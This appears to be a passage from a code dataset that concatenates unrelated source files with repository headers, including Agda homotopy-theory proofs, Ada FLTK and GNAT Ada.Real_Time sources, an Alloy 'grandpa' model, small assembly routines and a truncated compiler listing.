⊙∧-cpₕₕ m n = SmashCPₕₕ.⊙ext m n (⊙∧-cpₕₕ' m n)
∧-cpₕₕ : ∀ (m n : ℕ)
→ ⊙EM G (S m) ∧ ⊙EM H (S n)
→ EM G⊗H.abgroup (S m + S n)
∧-cpₕₕ m n = fst (⊙∧-cpₕₕ m n)
⊙×-cpₕₕ-seq : ∀ (m n : ℕ)
→ ⊙EM G (S m) ⊙× ⊙EM H (S n) ⊙–→ ⊙EM G⊗H.abgroup (S m + S n)
⊙×-cpₕₕ-seq m n = ⊙∧-cpₕₕ m n ◃⊙∘ ×-⊙to-∧ ◃⊙idf
⊙×-cpₕₕ : ∀ (m n : ℕ)
→ ⊙EM G (S m) ⊙× ⊙EM H (S n) ⊙→ ⊙EM G⊗H.abgroup (S m + S n)
⊙×-cpₕₕ m n = ⊙compose (⊙×-cpₕₕ-seq m n)
{-
cp₀ₕ' : ∀ (n : ℕ) → G.El → EM H (S n) → EM G⊗H.abgroup (S n)
cp₀ₕ' n g y = EM-fmap H G⊗H.abgroup (G⊗H.ins-r-hom g) (S n) y
×-cp₀ₕ' : ∀ (n : ℕ)
→ G.El × EM H (S n) → EM G⊗H.abgroup (S n)
×-cp₀ₕ' n = uncurry (cp₀ₕ' n)
-}
⊙×-cp₀ₕ' : ∀ (n : ℕ)
→ G.⊙El ⊙× ⊙EM H (S n) ⊙→ ⊙EM G⊗H.abgroup (S n)
⊙×-cp₀ₕ' n =
→-⊙→-uncurry (λ g → ⊙EM-fmap H G⊗H.abgroup (G⊗H.ins-r-hom g) (S n))
-- ×-cp₀ₕ' n , snd (⊙EM-fmap H G⊗H.abgroup (G⊗H.ins-r-hom G.ident) (S n))
⊙×-cp₀ₕ-seq : ∀ (n : ℕ)
→ ⊙EM G 0 ⊙× ⊙EM H (S n) ⊙–→ ⊙EM G⊗H.abgroup (S n)
⊙×-cp₀ₕ-seq n =
⊙×-cp₀ₕ' n ◃⊙∘
⊙×-fmap (⊙<– (⊙emloop-equiv G.grp)) (⊙idf (⊙EM H (S n))) ◃⊙idf
⊙×-cp₀ₕ : ∀ (n : ℕ)
→ ⊙EM G 0 ⊙× ⊙EM H (S n) ⊙→ ⊙EM G⊗H.abgroup (S n)
⊙×-cp₀ₕ n = ⊙compose (⊙×-cp₀ₕ-seq n)
×-cp₀ₕ : ∀ (n : ℕ)
→ EM G 0 × EM H (S n) → EM G⊗H.abgroup (S n)
×-cp₀ₕ n = fst (⊙×-cp₀ₕ n)
{-
cpₕ₀' : ∀ (m : ℕ) → EM G (S m) → H.El → EM G⊗H.abgroup (S m)
cpₕ₀' m x h = EM-fmap G G⊗H.abgroup (G⊗H.ins-l-hom h) (S m) x
×-cpₕ₀' : ∀ (m : ℕ)
→ EM G (S m) × H.El → EM G⊗H.abgroup (S m)
×-cpₕ₀' m = uncurry (cpₕ₀' m)
-}
⊙×-cpₕ₀' : ∀ (m : ℕ)
→ ⊙EM G (S m) ⊙× H.⊙El ⊙→ ⊙EM G⊗H.abgroup (S m)
⊙×-cpₕ₀' m =
→-⊙→-uncurry (λ h → ⊙EM-fmap G G⊗H.abgroup (G⊗H.ins-l-hom h) (S m)) ⊙∘
⊙×-swap
-- ×-cpₕ₀' m , snd (⊙EM-fmap G G⊗H.abgroup (G⊗H.ins-l-hom H.ident) (S m))
⊙×-cpₕ₀-seq : ∀ (m : ℕ)
→ ⊙EM G (S m) ⊙× ⊙EM H 0 ⊙–→ ⊙EM G⊗H.abgroup (S m + 0)
⊙×-cpₕ₀-seq m =
⊙transport (⊙EM G⊗H.abgroup) (! (+-unit-r (S m))) ◃⊙∘
⊙×-cpₕ₀' m ◃⊙∘
⊙×-fmap (⊙idf (⊙EM G (S m))) (⊙<– (⊙emloop-equiv H.grp)) ◃⊙idf
⊙×-cpₕ₀ : ∀ (m : ℕ)
→ ⊙EM G (S m) ⊙× ⊙EM H 0 ⊙→ ⊙EM G⊗H.abgroup (S m + 0)
⊙×-cpₕ₀ m = ⊙compose (⊙×-cpₕ₀-seq m)
×-cpₕ₀ : ∀ (m : ℕ)
→ EM G (S m) × EM H 0 → EM G⊗H.abgroup (S m + 0)
×-cpₕ₀ m = fst (⊙×-cpₕ₀ m)
⊙×-cp : ∀ (m n : ℕ)
→ ⊙EM G m ⊙× ⊙EM H n
⊙→ ⊙EM G⊗H.abgroup (m + n)
⊙×-cp 0 0 = ⊙×-cp₀₀ G H
⊙×-cp 0 (S n) = ⊙×-cp₀ₕ n
⊙×-cp (S m) 0 = ⊙×-cpₕ₀ m
⊙×-cp (S m) (S n) = ⊙×-cpₕₕ m n
|
src/fltk-widgets-groups-windows-single-menu.ads | micahwelf/FLTK-Ada | 1 | 17054 |
package FLTK.Widgets.Groups.Windows.Single.Menu is
type Menu_Window is new Single_Window with private;
type Menu_Window_Reference (Data : not null access Menu_Window'Class) is
limited null record with Implicit_Dereference => Data;
package Forge is
function Create
(X, Y, W, H : in Integer;
Text : in String)
return Menu_Window;
function Create
(W, H : in Integer;
Text : in String)
return Menu_Window;
end Forge;
procedure Show
(This : in out Menu_Window);
procedure Hide
(This : in out Menu_Window);
procedure Flush
(This : in out Menu_Window);
function Is_Overlay
(This : in Menu_Window)
return Boolean;
procedure Set_Overlay
(This : in out Menu_Window;
Value : in Boolean);
procedure Draw
(This : in out Menu_Window);
function Handle
(This : in out Menu_Window;
Event : in Event_Kind)
return Event_Outcome;
private
type Menu_Window is new Single_Window with null record;
overriding procedure Finalize
(This : in out Menu_Window);
pragma Inline (Show);
pragma Inline (Hide);
pragma Inline (Flush);
pragma Inline (Is_Overlay);
pragma Inline (Set_Overlay);
pragma Inline (Draw);
pragma Inline (Handle);
end FLTK.Widgets.Groups.Windows.Single.Menu;
|
theorems/homotopy/WedgeExtension.agda | timjb/HoTT-Agda | 0 | 4733 | <reponame>timjb/HoTT-Agda
{-# OPTIONS --without-K --rewriting #-}
open import HoTT
module homotopy.WedgeExtension
{i j} {A : Type i} {a₀ : A} {B : Type j} {b₀ : B} where
-- easier to keep track of than a long list of arguments
record args : Type (lmax (lsucc i) (lsucc j)) where
field
n m : ℕ₋₂
{{cA}} : is-connected (S n) A
{{cB}} : is-connected (S m) B
P : A → B → (n +2+ m) -Type (lmax i j)
f : (a : A) → fst (P a b₀)
g : (b : B) → fst (P a₀ b)
p : f a₀ == g b₀
private
module _ (r : args) where
open args r
Q : A → n -Type (lmax i j)
Q a = ((Σ (∀ b → fst (P a b)) (λ k → (k ∘ cst b₀) == cst (f a)) ,
conn-extend-general (pointed-conn-out B b₀)
(P a) (cst (f a))))
l : Π A (fst ∘ Q)
l = conn-extend (pointed-conn-out A a₀)
Q (λ (_ : Unit) → (g , ap cst (! p)))
module _ (r : args) where
open args r
ext : ∀ a → ∀ b → fst (P a b)
ext a = fst (l r a)
module _ {r : args} where
open args r
abstract
β-l : ∀ a → ext r a b₀ == f a
β-l a = ap (λ t → t unit) (snd (l r a))
private
abstract
β-r-aux : fst (l r a₀) == g
β-r-aux = fst= (conn-extend-β
(pointed-conn-out A a₀)
(Q r) (λ (_ : Unit) → (g , ap cst (! p))) unit)
abstract
β-r : ∀ b → ext r a₀ b == g b
β-r = app= β-r-aux
abstract
coh : ! (β-l a₀) ∙ β-r b₀ == p
coh =
! (β-l a₀) ∙ β-r b₀
=⟨ ! lemma₂ |in-ctx (λ w → ! w ∙ β-r b₀) ⟩
! (β-r b₀ ∙ ! p) ∙ β-r b₀
=⟨ !-∙ (β-r b₀) (! p) |in-ctx (λ w → w ∙ β-r b₀) ⟩
(! (! p) ∙ ! (β-r b₀)) ∙ β-r b₀
=⟨ ∙-assoc (! (! p)) (! (β-r b₀)) (β-r b₀) ⟩
! (! p) ∙ (! (β-r b₀) ∙ β-r b₀)
=⟨ ap2 _∙_ (!-! p) (!-inv-l (β-r b₀)) ⟩
p ∙ idp
=⟨ ∙-unit-r p ⟩
p =∎
where
lemma₁ : β-l a₀ == ap (λ s → s unit) (ap cst (! p))
[ (λ k → k b₀ == f a₀) ↓ β-r-aux ]
lemma₁ = ap↓ (ap (λ s → s unit)) $
snd= (conn-extend-β (pointed-conn-out A a₀)
(Q r) (λ (_ : Unit) → (g , ap cst (! p))) unit)
lemma₂ : β-r b₀ ∙ ! p == β-l a₀
lemma₂ = ap (λ w → β-r b₀ ∙ w)
(! (ap-idf (! p)) ∙ ap-∘ (λ s → s unit) cst (! p))
∙ (! (↓-app=cst-out lemma₁))
|
scripts/repeatAll.scpt | BMFirman/j-tunes | 2 | 3834 | tell application "iTunes"
set song repeat to all
end |
test/Succeed/Issue2150.agda | cruhland/agda | 1,989 | 3058 |
open import Agda.Primitive
postulate
X : Set
Id : Set → Set
module Generic1HIT (S : Set) where
module RecType k (C : Set k) (Necc : Set) where
postulate P : Set
module Flattening k (F : Set → Set) (C : Set k) (Necc : Set) where
-- order f before C matters!
module W = Generic1HIT (F X) -- use of F matters, application of F matters
module M = W.RecType k C X -- k matters
module S¹RecType i (A : Set i) where
module FlatteningS¹ = Flattening i Id A X -- i matters here
module HopfJunior = S¹RecType _ Set -- meta variable matters
|
src/asf-converters-sizes.ads | jquorning/ada-asf | 12 | 27011 | <gh_stars>10-100
-----------------------------------------------------------------------
-- asf-converters-sizes -- Size converter
-- Copyright (C) 2012 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Util.Beans.Objects;
with ASF.Components.Base;
with ASF.Contexts.Faces;
-- == Size Converter ==
-- The <b>ASF.Converters.Sizes</b> defines a converter to display a file size in bytes,
-- kilo bytes, mega bytes or giga bytes.
package ASF.Converters.Sizes is
-- ------------------------------
-- Converter
-- ------------------------------
-- The <b>Size_Converter</b> translates the object value which holds an integer value
-- into a printable size representation.
type Size_Converter is new Converter with null record;
type Size_Converter_Access is access all Size_Converter'Class;
-- Convert the object value into a string. The object value is associated
-- with the specified component.
-- If the string cannot be converted, the Invalid_Conversion exception should be raised.
function To_String (Convert : in Size_Converter;
Context : in ASF.Contexts.Faces.Faces_Context'Class;
Component : in ASF.Components.Base.UIComponent'Class;
Value : in Util.Beans.Objects.Object) return String;
-- Convert the date string into an object for the specified component.
-- If the string cannot be converted, the Invalid_Conversion exception should be raised.
function To_Object (Convert : in Size_Converter;
Context : in ASF.Contexts.Faces.Faces_Context'Class;
Component : in ASF.Components.Base.UIComponent'Class;
Value : in String) return Util.Beans.Objects.Object;
end ASF.Converters.Sizes;
|
utils.asm | antoniojema/aoc_2021_assemblymaybe | 0 | 166859 | <reponame>antoniojema/aoc_2021_assemblymaybe
global set_8buffer_to
extern printchar
section .text
;;---------------------;;
;; set_8buffer_to ;;
;;---------------------;;
;; - Takes:
;; - Pointer to a buffer
;; - Number of elements of buffer
;; - Value to fill
;; - Sets a 8-bit element buffer to a given value
set_8buffer_to:
push ebp
mov ebp, esp
mov eax, [ebp+8 ]
mov ebx, [ebp+12]
add ebx, eax
mov cl, byte [ebp+16]
_8buffer_loop_begin:
cmp eax, ebx
jge _8buffer_loop_end
mov byte [eax], cl
add eax, 1
jmp _8buffer_loop_begin
_8buffer_loop_end:
pop ebp
ret |
Assembler/AssemblyCode/MOV.asm | KPU-RISC/KPU | 8 | 172624 | MOV XL, 00000000b
MOV XH, 11111111b
MOV SP, X
MOV D, 10101010b
MOV H, D
MOV [SP], H
MOV E, [SP]
MOV [SP + 1], E
MOV G, 00000001b
MOV F, [SP + G]
; Write register D to the Output Port
OUTB D
; Write register E to the Output Port
OUTB E
; Write register F to the Output Port
OUTB F |
runtime/ravenscar-sfp-stm32f427/gnarl-common/a-reatim.adb | TUM-EI-RCS/StratoX | 12 | 2519 | ------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME LIBRARY (GNARL) COMPONENTS --
-- --
-- A D A . R E A L _ T I M E --
-- --
-- B o d y --
-- --
-- Copyright (C) 2001-2016, AdaCore --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- --
-- --
-- --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNARL was developed by the GNARL team at Florida State University. --
-- Extensive contributions were provided by Ada Core Technologies, Inc. --
-- --
------------------------------------------------------------------------------
-- This is the Ravenscar version of this package for generic bare board
-- targets. Note that the operations here assume that Time is a 64-bit
-- unsigned integer and Time_Span is a 64-bit signed integer.
with System.Tasking;
with System.Task_Primitives.Operations;
with Ada.Unchecked_Conversion;
package body Ada.Real_Time with
SPARK_Mode => Off
is
pragma Suppress (Overflow_Check);
-- This package has careful manual overflow checks, and unsuppresses them
-- where appropriate. This default enables compilation with checks enabled
-- on Ravenscar SFP, where 64-bit multiplication with overflow checking is
-- not available.
package OSI renames System.OS_Interface;
subtype LLI is Long_Long_Integer;
------------------------------------------------------------
-- Handling of Conversions Between Duration and Time_Span --
------------------------------------------------------------
-- For the To_Duration and To_Time_Span conversion functions, we use the
-- intermediate Integer representation of Duration (64-bit) to allow for
-- simple Integer operations instead of Float. We take advantage of the
-- fact that Duration is represented as an Integer with units of Small.
-- Within these conversions we perform the range checks required by
-- AI-00432 manually.
-- Note that in the past, within To_Duration and To_Time_Span, we were
-- first computing the conversion factor between Duration and Time_Span
-- (10 ** 9 / Clock_Frecuency) and then we multiplied or divided by it. The
-- advantage of this approach was that the operations were simple, and we
-- limited a lot the number of occurrences of overflows, but the accuracy
-- loss could be significant depending on the clock frequency. For example,
-- with a clock frequency of 600 MHz the factor was 1.66, which was rounded
-- to 1 (Integer), and hence with a 67% difference.
-- We tried also to have a better tradeoff (Constraint_Error being raised
-- when transforming very big values, but limiting a lot the loss of
-- accuracy) using Clock_Frequency in MHz instead of Hz. Therefore, we
-- multiplied first by 10 ** 3 (or Clock_Frequency / 10 ** 6 which is
-- typically smaller than 1000), and hence overflow could occur only with
-- really big values). The problem of this approach was that some processor
-- frequencies may not be expressed in multiples of MHz (for example,
-- 33.3333 MHz). The approach finally followed is to do the operations
-- "by hand" on the upper and the lower part of the 64-bit value. This is
-- slightly heavier, but we can preserve the best accuracy and the lowest
-- occurrence of overflows.
pragma Compile_Time_Error
(Duration'Size /= 64,
"this version of Ada.Real_Time requires 64-bit Duration");
-----------------------
-- Local definitions --
-----------------------
type Uint_64 is mod 2 ** 64;
-- Type used to represent intermediate results of arithmetic operations
Max_Pos_Time_Span : constant := Uint_64 (Time_Span_Last);
Max_Neg_Time_Span : constant := Uint_64 (2 ** 63);
-- Absolute value of Time_Span_Last and Time_Span_First. Used in overflow
-- checks. Note that we avoid using abs on Time_Span_First everywhere.
-----------------------
-- Local subprograms --
-----------------------
function Mul_Div (V : LLI; M : Natural; D : Positive) return LLI;
-- Compute V * M / D where division rounds to the nearest integer, away
-- from zero if exactly halfway between. If the result would overflow then
-- Constraint_Error is raised.
function Rounded_Div (L, R : LLI) return LLI;
pragma Inline (Rounded_Div);
-- Return L / R rounded to the nearest integer, away from zero if exactly
-- halfway between; required to implement ARM D.8 (26). Assumes R > 0.
function To_Duration is
new Ada.Unchecked_Conversion (LLI, Duration);
function To_Integer is
new Ada.Unchecked_Conversion (Duration, LLI);
function To_Integer is
new Ada.Unchecked_Conversion (Time_Span, LLI);
---------------------
-- Local constants --
---------------------
Duration_Units : constant Positive := Positive (1.0 / Duration'Small);
-- Number of units of Duration in one second. The result is correct (not
-- rounded) as Duration'Small is 10.0**(-9).
---------
-- "*" --
---------
function "*" (Left : Time_Span; Right : Integer) return Time_Span is
Is_Negative : constant Boolean :=
(if Left > 0 then
Right < 0
elsif Left < 0
then Right > 0
else
False);
-- Sign of the result
Max_Value : constant Uint_64 :=
(if Is_Negative then
Max_Neg_Time_Span
else
Max_Pos_Time_Span);
-- Maximum absolute value that can be returned by the multiplication
-- taking into account the sign of the operators.
Abs_Left : constant Uint_64 :=
(if Left = Time_Span_First then
Max_Neg_Time_Span
else
Uint_64 (abs (Left)));
-- Remove sign of left operator
Abs_Right : constant Uint_64 := Uint_64 (abs (LLI (Right)));
-- Remove sign of right operator
begin
-- Overflow check is performed by hand assuming that Time_Span is a
-- 64-bit signed integer. Otherwise these checks would need an
-- intermediate type with more than 64-bit. The sign of the operators
-- is removed to simplify the intermediate computation of the overflow
-- check.
if Abs_Right /= 0 and then Max_Value / Abs_Right < Abs_Left then
raise Constraint_Error;
else
return Left * Time_Span (Right);
end if;
end "*";
function "*" (Left : Integer; Right : Time_Span) return Time_Span is
begin
return Right * Left;
end "*";
---------
-- "+" --
---------
function "+" (Left : Time; Right : Time_Span) return Time is
begin
-- Overflow checks are performed by hand assuming that Time and
-- Time_Span are 64-bit unsigned and signed integers respectively.
-- Otherwise these checks would need an intermediate type with more
-- than 64 bits.
if Right >= 0
and then Uint_64 (Time_Last) - Uint_64 (Left) >= Uint_64 (Right)
then
return Time (Uint_64 (Left) + Uint_64 (Right));
-- The case of Right = Time_Span'First needs to be treated differently
-- because the absolute value of -2 ** 63 is not within the range of
-- Time_Span.
elsif Right = Time_Span'First and then Left >= Max_Neg_Time_Span then
return Time (Uint_64 (Left) - Max_Neg_Time_Span);
elsif Right < 0 and then Right > Time_Span'First
and then Left >= Time (abs (Right))
then
return Time (Uint_64 (Left) - Uint_64 (abs (Right)));
else
raise Constraint_Error;
end if;
end "+";
function "+" (Left, Right : Time_Span) return Time_Span is
pragma Unsuppress (Overflow_Check);
begin
return Time_Span (LLI (Left) + LLI (Right));
end "+";
---------
-- "-" --
---------
function "-" (Left : Time; Right : Time_Span) return Time is
begin
-- Overflow checks must be performed by hand assuming that Time and
-- Time_Span are 64-bit unsigned and signed integers respectively.
-- Otherwise these checks would need an intermediate type with more
-- than 64-bit.
if Right >= 0 and then Left >= Time (Right) then
return Time (Uint_64 (Left) - Uint_64 (Right));
-- The case of Right = Time_Span'First needs to be treated differently
-- because the absolute value of -2 ** 63 is not within the range of
-- Time_Span.
elsif Right = Time_Span'First
and then Uint_64 (Time_Last) - Uint_64 (Left) >= Max_Neg_Time_Span
then
return Left + Time (Max_Neg_Time_Span);
elsif Right < 0 and then Right > Time_Span'First
and then Uint_64 (Time_Last) - Uint_64 (Left) >= Uint_64 (abs (Right))
then
return Left + Time (abs (Right));
else
raise Constraint_Error;
end if;
end "-";
function "-" (Left, Right : Time) return Time_Span is
begin
-- Overflow checks must be performed by hand assuming that Time and
-- Time_Span are 64-bit unsigned and signed integers respectively.
-- Otherwise these checks would need an intermediate type with more
-- than 64-bit.
if Left >= Right
and then Uint_64 (Left) - Uint_64 (Right) <= Max_Pos_Time_Span
then
return Time_Span (Uint_64 (Left) - Uint_64 (Right));
elsif Left < Right
and then Uint_64 (Right) - Uint_64 (Left) <= Max_Neg_Time_Span
then
return -1 - Time_Span (Uint_64 (Right) - Uint_64 (Left) - 1);
else
raise Constraint_Error;
end if;
end "-";
function "-" (Left, Right : Time_Span) return Time_Span is
pragma Unsuppress (Overflow_Check);
begin
return Time_Span (LLI (Left) - LLI (Right));
end "-";
function "-" (Right : Time_Span) return Time_Span is
pragma Unsuppress (Overflow_Check);
begin
return Time_Span (-LLI (Right));
end "-";
---------
-- "/" --
---------
function "/" (Left, Right : Time_Span) return Integer is
pragma Unsuppress (Overflow_Check);
pragma Unsuppress (Division_Check);
begin
return Integer (LLI (Left) / LLI (Right));
end "/";
function "/" (Left : Time_Span; Right : Integer) return Time_Span is
pragma Unsuppress (Overflow_Check);
pragma Unsuppress (Division_Check);
begin
return Left / Time_Span (Right);
end "/";
-----------
-- Clock --
-----------
function Clock return Time is
begin
return Time (System.Task_Primitives.Operations.Monotonic_Clock);
end Clock;
------------------
-- Microseconds --
------------------
function Microseconds (US : Integer) return Time_Span is
begin
-- Overflow can't happen (Ticks_Per_Second is Natural)
return
Time_Span (Rounded_Div (LLI (US) * LLI (OSI.Ticks_Per_Second), 1E6));
end Microseconds;
------------------
-- Milliseconds --
------------------
function Milliseconds (MS : Integer) return Time_Span is
begin
-- Overflow can't happen (Ticks_Per_Second is Natural)
return
Time_Span (Rounded_Div (LLI (MS) * LLI (OSI.Ticks_Per_Second), 1E3));
end Milliseconds;
-------------
-- Minutes --
-------------
function Minutes (M : Integer) return Time_Span is
Min_M : constant LLI := LLI'First / LLI (OSI.Ticks_Per_Second);
Max_M : constant LLI := LLI'Last / LLI (OSI.Ticks_Per_Second);
-- Bounds for Sec_M. Note that we can't use unsuppress overflow checks,
-- as this would require the use of arit64.
Sec_M : constant LLI := LLI (M) * 60;
-- M converted to seconds
begin
if Sec_M < Min_M or else Sec_M > Max_M then
raise Constraint_Error;
else
return Time_Span (Sec_M * LLI (OSI.Ticks_Per_Second));
end if;
end Minutes;
-------------
-- Mul_Div --
-------------
function Mul_Div (V : LLI; M : Natural; D : Positive) return LLI is
-- We first multiply V * M and then divide the result by D, while
-- avoiding overflow in intermediate calculations and detecting it in
-- the final result. To get the rounding to the nearest integer, away
-- from zero if exactly halfway between two values, we add +/- D/2
-- (depending on the sign on V) directly at the end of multiplication.
--
-- ----------------------------------------
-- Multiplication (and rounding adjustment)
-- ----------------------------------------
--
-- Since V is a signed 64-bit integer and M is signed (but non-negative)
-- 32-bit integer, their product may not fit in 64-bits. To avoid
-- overflow we split V and into high and low parts
--
-- V_Hi = V / 2 ** 32
-- V_Lo = V rem 2 ** 32
--
-- where each part is either zero or has the sign of the dividend; thus
--
-- V = V_Hi * 2 ** 32 + V_Lo
--
-- In either case V_Hi and V_Lo are in range of 32-bit signed integer,
-- yet stored in 64-bit signed variables. When multiplied by M, which is
-- in range of 0 .. 2 ** 31 - 1, the results will still fit in 64-bit
-- integer, even if we extend it by D/2 as required to implement
-- rounding. We will get the value of V * M ± D/2 as low and high part:
--
-- (V * M ± D/2)_Lo = (V_Lo * M ± D/2) with carry zeroed
-- (V * M ± D/2)_Hi = (V_Hi * M) with carry from (V_Lo * M ± D/2)
--
-- (carry flows only from low to high part), or mathematically speaking:
--
-- (V * M ± D/2)_Lo = (V * M ± D/2) rem 2 ** 32
-- (V * M ± D/2)_Hi = (V * M ± D/2) / 2 ** 32
--
-- and thus
--
-- V * M ± D/2 = (V * M ± D/2)_Hi * 2 ** 32 + (V * M ± D/2)_Lo
--
-- with signs just like described for V_Hi and V_Lo.
--
-- --------
-- Division
-- --------
--
-- The final result (V * M ± D/2) / D is computed as a high and low
-- parts:
--
-- ((V * M ± D/2) / D)_Hi = (V * M ± D/2)_Hi / D
-- ((V * M ± D/2) / D)_Lo =
-- ((V * M ± D/2)_Lo + remainder from high part division) / D
--
-- (remainder flows only from high to low part, opposite to carry),
-- or mathematically speaking:
--
-- ((V * M ± D/2) / D)_Hi = ((V * M ± D/2) / D) / 2 ** 32
-- ((V * M ± D/2) / D)_Lo = ((V * M ± D/2) / D) rem 2 ** 32
--
-- and thus
--
-- (V * M ± D/2) / D = ((V * M ± D/2) / D)_Hi * 2 ** 32
-- + ((V * M ± D/2) / D)_Lo
--
-- with signs just like described for V_Hi and V_Lo.
--
-- References: this calculation is partly inspired by Knuth's algorithm
-- in TAoCP Vol.2, section 4.3.1, excercise 16. However, here it is
-- adapted it for signed arithmetic; has no loop (since the input number
-- has fixed width); and discard the remainder of the result.
V_Hi : constant LLI := V / 2 ** 32;
V_Lo : constant LLI := V rem 2 ** 32;
-- High and low parts of V
V_M_Hi : LLI;
V_M_Lo : LLI;
-- High and low parts of V * M (+-) D / 2
Result_Hi : LLI;
-- High part of the result
Result_Lo : LLI;
-- Low part of the result
Remainder : LLI;
-- Remainder of the first division
begin
-- Multiply V * M and add/subtract D/2
V_M_Lo := V_Lo * LLI (M) + (if V >= 0 then 1 else -1) * LLI (D / 2);
V_M_Hi := V_Hi * LLI (M) + V_M_Lo / 2 ** 32;
V_M_Lo := V_M_Lo rem 2 ** 32;
-- First quotient
Result_Hi := V_M_Hi / LLI (D);
-- The final result would overflow
if Result_Hi not in -(2 ** 31) .. 2 ** 31 - 1 then
raise Constraint_Error;
end if;
Remainder := V_M_Hi rem LLI (D);
Result_Hi := Result_Hi * 2 ** 32;
-- Second quotient
Result_Lo := (V_M_Lo + Remainder * 2 ** 32) / LLI (D);
-- Combine low and high parts of the result
return Result_Hi + Result_Lo;
end Mul_Div;
-----------------
-- Nanoseconds --
-----------------
function Nanoseconds (NS : Integer) return Time_Span is
begin
-- Overflow can't happen (Ticks_Per_Second is Natural)
return
Time_Span (Rounded_Div (LLI (NS) * LLI (OSI.Ticks_Per_Second), 1E9));
end Nanoseconds;
-----------------
-- Rounded_Div --
-----------------
function Rounded_Div (L, R : LLI) return LLI is
Left : LLI;
begin
if L >= 0 then
Left := L + R / 2;
else
Left := L - R / 2;
end if;
return Left / R;
end Rounded_Div;
-------------
-- Seconds --
-------------
function Seconds (S : Integer) return Time_Span is
begin
-- Overflow can't happen (Ticks_Per_Second is Natural)
return Time_Span (LLI (S) * LLI (OSI.Ticks_Per_Second));
end Seconds;
-----------
-- Split --
-----------
procedure Split (T : Time; SC : out Seconds_Count; TS : out Time_Span) is
Res : constant Time := Time (OSI.Ticks_Per_Second);
begin
SC := Seconds_Count (T / Res);
TS := T - Time (SC) * Res;
end Split;
-------------
-- Time_Of --
-------------
function Time_Of (SC : Seconds_Count; TS : Time_Span) return Time is
Res : constant Time := Time (OSI.Ticks_Per_Second);
begin
-- We want to return SC * Resolution + TS. To avoid spurious overflows
-- in the intermediate result (SC * Resolution) we take advantage of the
-- different signs in SC and TS (when that is the case).
-- If signs of SC and TS are different then we avoid converting SC to
-- Time (as we do in the else part). The reason for that is that SC
-- converted to Time may overflow the range of Time, while the addition
-- of SC plus TS does not overflow (because of their different signs).
-- The approach is to first extract the number of seconds from TS, then
-- add the result to SC, and finally include the remainder from TS.
-- Note that SC is always nonnegative
if TS < 0 then
declare
Seconds_From_Ts : constant Seconds_Count :=
Seconds_Count (abs (TS / Time_Span (Res))) +
(if TS rem Time_Span (Res) = 0 then 0 else 1);
-- Absolute value of the number of seconds in TS. Round towards
-- infinity so that Remainder_Ts is always positive.
Remainder_Ts : constant Time :=
TS + Time_Span (Seconds_From_Ts - 1) * Time_Span (Res) + Res;
-- Remainder from TS that needs to be added to the result once
-- we removed the number of seconds. Note that we do not add
-- Time_Span (Seconds_From_Ts) * Time_Span (Res) directly with
-- a single operation because for values of TS close to
-- Time_Span_First this multiplication would overflow.
begin
-- Both operands in the inner subtraction are positive. Hence,
-- there will be no positive overflow in SC - Seconds_From_Ts. If
-- there is a negative overflow then the result of adding SC and
-- TS would overflow anyway.
if SC < Seconds_From_Ts
or else Time_Last / Res < Time (SC - Seconds_From_Ts)
then
raise Constraint_Error;
else
return Time (SC - Seconds_From_Ts) * Res + Remainder_Ts;
end if;
end;
-- SC and TS are nonnegative. Check whether Time (SC) * Res overflows
elsif Time_Last / Res < Time (SC) then
raise Constraint_Error;
-- Both operands have the same sign, so we can convert SC into Time
-- right away; if this conversion overflows then the result of adding SC
-- and TS would overflow anyway (so we would just be detecting the
-- overflow a bit earlier).
else
return Time (SC) * Res + TS;
end if;
end Time_Of;
-----------------
-- To_Duration --
-----------------
function To_Duration (TS : Time_Span) return Duration is
begin
return
To_Duration
(Mul_Div (To_Integer (TS), Duration_Units, OSI.Ticks_Per_Second));
end To_Duration;
------------------
-- To_Time_Span --
------------------
function To_Time_Span (D : Duration) return Time_Span is
begin
return
Time_Span
(Mul_Div (To_Integer (D), OSI.Ticks_Per_Second, Duration_Units));
end To_Time_Span;
begin
-- Ensure that the tasking run time is initialized when using clock and/or
-- delay operations. The initialization routine has the required machinery
-- to prevent multiple calls to Initialize.
System.Tasking.Initialize;
end Ada.Real_Time;
|
models/grandpa.als | trojan321/AlloyViz | 0 | 422 | <gh_stars>0
module grandpa
abstract sig Person {
father: lone Man,
mother: lone Woman
}
sig Man extends Person { wife: lone Woman }
sig Woman extends Person { husband: lone Man }
fact Biology { no p: Person | p in p.^(mother+father) }
fact Terminology { wife = ~husband }
fact SocialConvention {
no wife & *(mother+father).mother
no husband & *(mother+father).father
}
fun grandpas [p: Person]: set Person {
let parent = mother + father + father.wife + mother.husband |
p.parent.parent & Man
}
pred ownGrandpa [m: Man] { m in grandpas[m] }
run ownGrandpa for 4 Person expect 1
|
Chapter 15/SimpleInterestCalculation/SimpleInterestCalculation/SimpleInterestCalculation-Optimized.asm | bpbpublications/Implementing-Reverse-Engineering | 0 | 25205 | <reponame>bpbpublications/Implementing-Reverse-Engineering
; Listing generated by Microsoft (R) Optimizing Compiler Version 16.00.30319.01
TITLE C:\JitenderN\REBook\SimpleInterestCalculation\SimpleInterestCalculation\SimpleInterestCalculation.cpp
.686P
.XMM
include listing.inc
.model flat
INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES
CONST SEGMENT
$SG4681 DB '%f', 00H
CONST ENDS
PUBLIC __real@40ad4c0000000000
PUBLIC _main
EXTRN _printf:PROC
EXTRN __fltused:DWORD
; COMDAT __real@40ad4c0000000000
; File c:\jitendern\rebook\simpleinterestcalculation\simpleinterestcalculation\simpleinterestcalculation.cpp
CONST SEGMENT
